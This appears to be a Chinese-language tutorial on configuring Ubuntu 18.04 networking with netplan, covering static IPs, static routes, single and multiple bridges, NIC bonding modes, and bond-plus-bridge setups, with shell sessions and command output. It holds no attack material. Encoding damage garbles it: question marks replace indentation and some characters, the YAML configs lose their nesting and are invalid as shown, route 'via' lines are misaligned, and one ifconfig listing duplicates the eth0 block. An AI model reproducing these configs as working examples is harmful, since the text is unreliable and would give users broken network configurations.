root@ubuntu1804:~#route -n


#查看DNS
root@ubuntu1804:~#ls -l /etc/resolv.conf
lrwxrwxrwx 1 root root 39 Dec 12 11:36 /etc/resolv.conf ->
../run/systemd/resolve/stub-resolv.conf

root@ubuntu2004:~# resolvectl status #Ubuntu 20.04新命令
root@ubuntu1804:~# systemd-resolve --status
Global
????DNSSEC NTA: 10.in-addr.arpa
???????????16.172.in-addr.arpa
???????????168.192.in-addr.arpa
???????????17.172.in-addr.arpa
???????????18.172.in-addr.arpa
???????????19.172.in-addr.arpa
???????????20.172.in-addr.arpa
???????????21.172.in-addr.arpa
???????????22.172.in-addr.arpa
???????????23.172.in-addr.arpa
???????????24.172.in-addr.arpa
???????????25.172.in-addr.arpa
???????????26.172.in-addr.arpa
???????????27.172.in-addr.arpa
???????????28.172.in-addr.arpa
???????????29.172.in-addr.arpa
???????????30.172.in-addr.arpa
???????????31.172.in-addr.arpa
???????? ??corp
????????? ?d.f.ip6.arpa
???????? ??home
??????? ???internal
??????? ???intranet
??????? ???lan
??????? ???local
????????? ?private
???????? ??test
Link 5 (eth3)
??Current Scopes: none
???LLMNR setting: yes
MulticastDNS setting: no
??DNSSEC setting: no
?DNSSEC supported: no
Link 4 (eth2)
??Current Scopes: none
???LLMNR setting: yes
MulticastDNS setting: no
??DNSSEC setting: no
?DNSSEC supported: no
Link 3 (eth1)
??Current Scopes: DNS
???LLMNR setting: yes
MulticastDNS setting: no
??DNSSEC setting: no
?DNSSEC supported: no
????DNS Servers: 180.76.76.76
???????????8.8.8.8
???????????1.1.1.1
????DNS Domain: baidu.com
????????      ??baidu.org

Link 2 (eth0)
??Current Scopes: DNS
???LLMNR setting: yes
MulticastDNS setting: no
??DNSSEC setting: no
?DNSSEC supported: no
????DNS Servers: 10.0.0.2
????DNS Domain: localdomain

5.3.3 配置多?卡靜態(tài)IP和靜態(tài)路由

root@ubuntu1804:~#vim ?/etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: no
??dhcp6: no
??addresses: [10.0.0.100/16]
??gateway4: 10.0.0.2
??nameservers:
 ???addresses: [223.6.6.6]
?eth1:
??dhcp4: no
??dhcp6: no
??addresses: [10.20.0.100/16]
??routes:
???- to: 10.30.0.0/16
???via: 10.20.0.1
???- to: 10.40.0.0/16
???via: 10.20.0.1
???- to: 10.50.0.0/16
???via: 10.20.0.1
???- to: 10.60.0.0/16
???via: 10.20.0.1


root@ubuntu1804:~#netplan apply
root@ubuntu1804:~#route -n
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.2 ????0.0.0.0 ????UG ??0 ???0 ????0 eth0
10.0.0.0 ????0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 eth0
10.20.0.0 ???0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 eth1
10.30.0.0 ???10.20.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 eth1
10.40.0.0 ???10.20.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 eth1
10.50.0.0 ???10.20.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 eth1
10.60.0.0 ???10.20.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 eth1



#或者每個(gè)網(wǎng)卡各自一個(gè)配置文件
root@ubuntu1804:/etc/netplan# ls
01-netcfg.yaml ?02-eth1.yaml 
root@ubuntu1804:/etc/netplan# cat 01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: yes
??
root@ubuntu1804:/etc/netplan# cat 02-eth1.yaml
network:
version: 2
renderer: networkd
ethernets:
?eth1:
??addresses:
???- 10.20.0.100/16
???- 192.168.0.100/24
??gateway4: 10.20.0.2
??nameservers:
???search: [baidu.com, baidu.org]
???addresses: [180.76.76.76, 8.8.8.8, 1.1.1.1]
??routes:
???- to: 10.30.0.0/16
???via: 10.20.0.1
???- to: 10.40.0.0/16
???via: 10.20.0.1
???- to: 10.50.0.0/16
???via: 10.20.0.1
???- to: 10.60.0.0/16
???via: 10.20.0.1

5.3.4 單組橋接

root@ubuntu1804:~# apt install -y bridge-utils
root@ubuntu1804:~# dpkg -L bridge-utils
/sbin/brctl
......

#三個(gè)網(wǎng)卡配置使用一個(gè)配置文件
root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: yes
?eth1:
??dhcp4: no
??dhcp6: no
?eth2:
??dhcp4: no ?
bridges:
?br0:
??dhcp4: no
??dhcp6: no
??addresses: [10.0.0.18/16]
??gateway4: 10.0.0.2
??nameservers:
???addresses: [223.6.6.6]
??interfaces:
???- eth1
???- eth2


#橋接配置單獨(dú)一個(gè)文件
[root@ubuntu1804 netplan]#cat br0.yaml
network:
version: 2
renderer: networkd
ethernets:
?eth1:
??dhcp4: no
??dhcp6: no
?eth2:
??dhcp4: no ?
bridges:
?br0:
??dhcp4: no
??dhcp6: no
??addresses: [10.0.0.10/16]
??gateway4: 10.0.0.2
??nameservers:
???addresses: [223.6.6.6]
??interfaces:
???- eth1
???- eth2


root@ubuntu1804:~# netplan apply
root@ubuntu1804:~# ifconfig br0
br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
???inet6 fe80::9cbe:1dff:fe85:6601 prefixlen 64 scopeid 0x20<link>
???ether 9e:be:1d:85:66:01 txqueuelen 1000 (Ethernet)
???RX packets 158 bytes 19534 (19.5 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 10 bytes 796 (796.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


root@ubuntu1804:~# brctl show
bridge name bridge id STP enabled interfaces
br0 8000.9ebe1d856601 no eth1
                         eth2

5.3.5 多組橋接

root@ubuntu1804:~#vim ?/etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: no
??dhcp6: no
?eth1:
??dhcp4: no
??dhcp6: no
bridges:
?br0:
??dhcp4: no
??dhcp6: no
??addresses: [10.0.0.18/16]
??gateway4: 10.0.0.1
??nameservers:
???addresses: [223.6.6.6]
??interfaces:
???- eth0
?br1:
??dhcp4: no
??dhcp6: no
??addresses: [10.10.0.18/16]
??routes:
???- to: 10.20.0.0/16
????via: 10.10.0.1
???- to: 10.30.0.0/16
????via: 10.10.0.1
???- to: 10.40.0.0/16
????via: 10.10.0.1
???- to: 10.50.0.0/16
????via: 10.10.0.1
??interfaces:
???- eth1


root@ubuntu1804:~# brctl show
bridge name bridge id STP enabled interfaces
br0 8000.96dbd15c1daf no eth0
br1 8000.9e02ab0faeb0 no eth1
root@ubuntu1804:~# ifconfig br0
br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
???inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
???ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
???RX packets 790 bytes 58296 (58.2 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 608 bytes 81652 (81.6 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


root@ubuntu1804:~# ifconfig br1
br1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.10.0.18 netmask 255.255.0.0 broadcast 10.10.255.255
???inet6 fe80::9c02:abff:fe0f:aeb0 prefixlen 64 scopeid 0x20<link>
???ether 9e:02:ab:0f:ae:b0 txqueuelen 1000 (Ethernet)
???RX packets 10 bytes 1046 (1.0 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 7 bytes 586 (586.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


root@ubuntu1804:~# route -n
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.1 ????0.0.0.0 ????UG ??0 ???0 ????0 br0
10.0.0.0 ????0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 br0
10.10.0.0 ???0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 br1
10.20.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 br1
10.30.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 br1
10.50.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 br1


5.3.6 雙?卡綁定

#支持多網(wǎng)卡綁定七種模式
#第一種模式:mod=0,即:(balance-rr) Round-robin policy(平衡掄循環(huán)策略)
特點(diǎn):傳輸數(shù)據(jù)包順序是依次傳輸(即:第1個(gè)包走eth0,下一個(gè)包就走eth1...一直循環(huán)下去,直到最后一
個(gè)傳輸完畢),此模式提供負(fù)載平衡和容錯(cuò)能力。

#第二種模式:mod=1,即: (active-backup) Active-backup policy(主-備份策略)
特點(diǎn):只有一個(gè)設(shè)備處于活動(dòng)狀態(tài),當(dāng)一個(gè)宕掉另一個(gè)馬上由備份轉(zhuǎn)換為主設(shè)備。mac地址是外部可見得,從
外面看來,bond的MAC地址是唯一的,以避免switch(交換機(jī))發(fā)生混亂。此模式只提供了容錯(cuò)能力;由此可
見此算法的優(yōu)點(diǎn)是可以提供網(wǎng)絡(luò)連接的可用性,但是它的資源利用率較低,只有一個(gè)接口處于工作狀態(tài),在有
N 個(gè)網(wǎng)絡(luò)接?的情況下,資源利用率為1/N。

#第三種模式:mod=2,即:(balance-xor) XOR policy(平衡策略)
特點(diǎn):基于指定的傳輸HASH策略傳輸數(shù)據(jù)包。缺省的策略是:(源MAC地址 XOR 目標(biāo)MAC地址) % slave數(shù)
量。其他的傳輸策略可以通過xmit_hash_policy選項(xiàng)指定,此模式提供負(fù)載平衡和容錯(cuò)能力。

#第四種模式:mod=3,即:broadcast(廣播策略)
特點(diǎn):在每個(gè)slave接口上傳輸每個(gè)數(shù)據(jù)包,此模式提供了容錯(cuò)能力。

#第五種模式:mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad
動(dòng)態(tài)鏈接聚合)
特點(diǎn):創(chuàng)建一個(gè)聚合組,它們共享同樣的速率和雙工設(shè)定。根據(jù)802.3ad規(guī)范將多個(gè)slave工作在同一個(gè)激活
的聚合體下。
必要條件:
    條件1:ethtool持獲取每個(gè)slave的速率和雙工設(shè)定。
    條件2:switch(交換機(jī))支持IEEE 802.3ad Dynamic link aggregation。
    條件3:多數(shù)switch(交換機(jī))需要經(jīng)過特定配置才能支持802.3ad模式。

#第六種模式:mod=5,即:(balance-tlb) Adaptive transmit load balancing(適配器傳輸負(fù)載均
衡)
特點(diǎn):不需要任何特別的switch(交換機(jī))支持的通道bonding。在每個(gè)slave上根據(jù)當(dāng)前的負(fù)載(根據(jù)速度
計(jì)算)分配外出流量。如果正在接受數(shù)據(jù)的slave出故障了,另一個(gè)slave接管失敗的slave的MAC地址。
該模式的必要條件:
ethtool支持獲取每個(gè)slave的速率

#第七種模式:mod=6,即:(balance-alb) Adaptive load balancing(適配器適應(yīng)性負(fù)載均衡)
特點(diǎn):該模式包含了balance-tlb模式,同時(shí)加上針對IPV4流量的接收負(fù)載均衡(receive load
balance,rlb),而且不需要任何switch(交換機(jī))的支持。



root@ubuntu1804:~# vim /etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: no
??dhcp6: no
?eth1:
??dhcp4: no
??dhcp6: no
bonds:
?bond0:
??interfaces:
????- eth0
????- eth1
??addresses: [10.0.0.18/16]
??gateway4: 10.0.0.1
??nameservers:
???addresses: [223.6.6.6,223.5.5.5]
??parameters:
???mode: active-backup
???mii-monitor-interval: 100
???fail-over-mac-policy: active



root@ubuntu1804:~# netplan apply
root@ubuntu1804:~# ifconfig bond0
bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
???inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
???inet6 fe80::2820:b7ff:fea8:5837 prefixlen 64 scopeid 0x20<link>
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 296 bytes 25327 (25.3 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 295 bytes 34876 (34.8 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


root@ubuntu1804:~# ifconfig eth0
eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 3 bytes 180 (180.0 B)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 0 bytes 0 (0.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0



root@ubuntu1804:~# ifconfig eth1
eth1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 340 bytes 28893 (28.8 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 336 bytes 39940 (39.9 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


root@ubuntu1804:~# cat /proc/net/bonding/bond0
Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)

Bonding Mode: fault-tolerance (active-backup)
Primary Slave: None
Currently Active Slave: eth1
MII Status: up
MII Polling Interval (ms): 100
Up Delay (ms): 0
Down Delay (ms): 0

Slave Interface: eth1
MII Status: up
Speed: 1000 Mbps
Duplex: full
Link Failure Count: 0
Permanent HW addr: 00:0c:29:34:df:9b
Slave queue ID: 0

Slave Interface: eth0
MII Status: up
Speed: 1000 Mbps
Duplex: full
Link Failure Count: 0
Permanent HW addr: 00:0c:29:34:df:91
Slave queue ID: 0
root@ubuntu1804:~#

5.3.7 雙?卡綁定+橋接

?卡綁定?于提供?卡接?冗余以及?可?和端?聚合功能,橋接?卡再給需要橋接設(shè)備的服務(wù)使?

root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: no
??dhcp6: no
?eth1:
??dhcp4: no
??dhcp6: no

bonds:
?bond0:
??interfaces:
????- eth0
????- eth1
??parameters:
???mode: active-backup
???mii-monitor-interval: 100

bridges:
?br0:
??dhcp4: no
??dhcp6: no
??addresses: [10.0.0.18/16]
??gateway4: 10.0.0.1
??nameservers:
???addresses: [223.6.6.6,223.5.5.5]
??interfaces:
???- bond0


root@ubuntu1804:~# netplan apply
root@ubuntu1804:~# brctl show
bridge name bridge id STP enabled interfaces
br0 8000.96dbd15c1daf no bond0
root@ubuntu1804:~# ifconfig br0
br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
???inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
???ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
???RX packets 97 bytes 6634 (6.6 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 83 bytes 8286 (8.2 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


root@ubuntu1804:~# route -n
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.1 ????0.0.0.0 ????UG ??0 ???0 ????0 br0
10.0.0.0 ????0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 br0
root@ubuntu1804:~# ifconfig
bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 2592 bytes 230049 (230.0 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 2826 bytes 318282 (318.2 KB)
???TX errors 0 dropped 1 overruns 0 carrier 0 collisions 0

br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
???inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
???ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
???RX packets 144 bytes 9890 (9.8 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 117 bytes 12554 (12.5 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 27 bytes 1990 (1.9 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 0 bytes 0 (0.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 27 bytes 1990 (1.9 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 0 bytes 0 (0.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
???inet 127.0.0.1 netmask 255.0.0.0
???inet6 ::1 prefixlen 128 scopeid 0x10<host>
???loop txqueuelen 1000 (Local Loopback)
???RX packets 1131 bytes 75592 (75.5 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 1131 bytes 75592 (75.5 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

5.3.8 ?卡的多組綁定

可以實(shí)現(xiàn)網(wǎng)卡的多組綁定,比如:eth0,eth1綁定至bond0,eth2和eth3綁定bond1

root@ubuntu1804:~#cat /etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: no
??dhcp6: no
?eth1:
??dhcp4: no
??dhcp6: no
 eth2:
??dhcp4: no
??dhcp6: no
?eth3:
??dhcp4: no
??dhcp6: no


bonds:
?bond0:
??interfaces:
????- eth0
????- eth1
??addresses: [10.0.0.18/16]
??gateway4: 10.0.0.1
??nameservers:
???addresses: [223.6.6.6,223.5.5.5]
??parameters:
???mode: active-backup
???mii-monitor-interval: 100


bond1:
??interfaces:
????- eth2
????- eth3
??addresses: [10.10.0.18/16]
??parameters:
???mode: active-backup
???mii-monitor-interval: 100
??routes:
????- to: 10.20.0.0/16
????via: 10.10.0.1
????- to: 10.30.0.0/16
????via: 10.10.0.1
????- to: 10.40.0.0/16
????via: 10.10.0.1
????- to: 10.50.0.0/16
????via: 10.10.0.1


root@ubuntu1804:~# netplan apply
root@ubuntu1804:~# ifconfig
bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
???inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
???inet6 fe80::2820:b7ff:fea8:5837 prefixlen 64 scopeid 0x20<link>
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 273 bytes 23591 (23.5 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 364 bytes 42455 (42.4 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

bond1: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
???inet 10.10.0.18 netmask 255.255.0.0 broadcast 10.10.255.255
???inet6 fe80::c035:83ff:fea1:abbb prefixlen 64 scopeid 0x20<link>
???ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
???RX packets 8 bytes 480 (480.0 B)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 10 bytes 796 (796.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 4 bytes 240 (240.0 B)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 0 bytes 0 (0.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


eth1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 269 bytes 23351 (23.3 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 364 bytes 42455 (42.4 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


eth2: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
???RX packets 4 bytes 240 (240.0 B)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 0 bytes 0 (0.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth3: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
???RX packets 4 bytes 240 (240.0 B)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 10 bytes 796 (796.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
???inet 127.0.0.1 netmask 255.0.0.0
???inet6 ::1 prefixlen 128 scopeid 0x10<host>
???loop txqueuelen 1000 (Local Loopback)
???RX packets 120 bytes 8344 (8.3 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 120 bytes 8344 (8.3 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@ubuntu1804:~# route -n
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.1 ????0.0.0.0 ????UG ??0 ???0 ????0 bond0
10.0.0.0 ????0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 bond0
10.10.0.0 ???0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 bond1
10.20.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 bond1
10.30.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 bond1
10.40.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 bond1
10.50.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 bond1


root@ubuntu1804:~# cat /proc/net/bonding/bond0
Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)

Bonding Mode: fault-tolerance (active-backup)
Primary Slave: None
Currently Active Slave: eth1
MII Status: up
MII Polling Interval (ms): 100
Up Delay (ms): 0
Down Delay (ms): 0
。。。。


root@ubuntu1804:~# cat /proc/net/bonding/bond1
Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
Bonding Mode: fault-tolerance (active-backup)
Primary Slave: None
Currently Active Slave: eth3
MII Status: up
MII Polling Interval (ms): 100
Up Delay (ms): 0
Down Delay (ms): 0

Slave Interface: eth3
MII Status: up
Speed: 1000 Mbps
Duplex: full
Link Failure Count: 0
Permanent HW addr: 00:0c:29:34:df:b9
Slave queue ID: 0

Slave Interface: eth2
MII Status: up
Speed: 1000 Mbps
Duplex: full
Link Failure Count: 0
Permanent HW addr: 00:0c:29:34:df:a5
Slave queue ID: 0

5.3.9 ?卡多組綁定+多組橋接

root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
?eth0:
??dhcp4: no
??dhcp6: no
?eth1:
??dhcp4: no
 ??dhcp6: no
?eth2:
??dhcp4: no
??dhcp6: no
?eth3:
??dhcp4: no
??dhcp6: no


bonds:
?bond0:
??interfaces:
????- eth0
????- eth1
??parameters:
???mode: active-backup
???mii-monitor-interval: 100

bond1:
??interfaces:
????- eth2
????- eth3
??parameters:
???mode: active-backup
???mii-monitor-interval: 100


bridges:
?br0:
??dhcp4: no
??dhcp6: no
??addresses: [10.0.0.18/16]
??gateway4: 10.0.0.1
??nameservers:
???addresses: [223.6.6.6,223.5.5.5]
??interfaces:
????- bond0

br1:
??dhcp4: no
??dhcp6: no
??interfaces:
????- bond1
??addresses: [10.10.0.18/16]
??routes:
????- to: 10.20.0.0/16
????via: 10.10.0.1
????- to: 10.30.0.0/16
????via: 10.10.0.1
????- to: 10.40.0.0/16
????via: 10.10.0.1
????- to: 10.50.0.0/16
????via: 10.10.0.1

root@ubuntu1804:~# netplan apply ???
root@ubuntu1804:~# brctl show
bridge name bridge id STP enabled interfaces
br0 8000.96dbd15c1daf no bond0
br1 8000.9e02ab0faeb0 no bond1
root@ubuntu1804:~# route -n
Kernel IP routing table


Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.1 ????0.0.0.0 ????UG ??0 ???0 ????0 br0
10.0.0.0 ????0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 br0
10.10.0.0 ???0.0.0.0 ????255.255.0.0 ??U ??0 ???0 ????0 br1
10.20.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 br1
10.30.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 br1
10.40.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 br1
10.50.0.0 ???10.10.0.1 ???255.255.0.0 ??UG ??0 ???0 ????0 br1



root@ubuntu1804:~# ifconfig
bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 1749 bytes 154597 (154.5 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 1951 bytes 224182 (224.1 KB)
???TX errors 0 dropped 2 overruns 0 carrier 0 collisions 0

bond1: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
???ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
???RX packets 441 bytes 43111 (43.1 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 21 bytes 1642 (1.6 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
???inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
???ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
???RX packets 164 bytes 11692 (11.6 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 148 bytes 16165 (16.1 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

br1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.10.0.18 netmask 255.255.0.0 broadcast 10.10.255.255
???inet6 fe80::9c02:abff:fe0f:aeb0 prefixlen 64 scopeid 0x20<link>
???ether 9e:02:ab:0f:ae:b0 txqueuelen 1000 (Ethernet)
???RX packets 13 bytes 788 (788.0 B)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 9 bytes 726 (726.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 24 bytes 1906 (1.9 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 0 bytes 0 (0.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
???RX packets 1725 bytes 152691 (152.6 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 1951 bytes 224182 (224.1 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


eth2: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
???RX packets 24 bytes 1906 (1.9 KB)
   RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 0 bytes 0 (0.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth3: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
???ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
???RX packets 417 bytes 41205 (41.2 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 21 bytes 1642 (1.6 KB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
???inet 127.0.0.1 netmask 255.0.0.0
???inet6 ::1 prefixlen 128 scopeid 0x10<host>
???loop txqueuelen 1000 (Local Loopback)
???RX packets 793 bytes 53888 (53.8 KB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 793 bytes 53888 (53.8 KB)
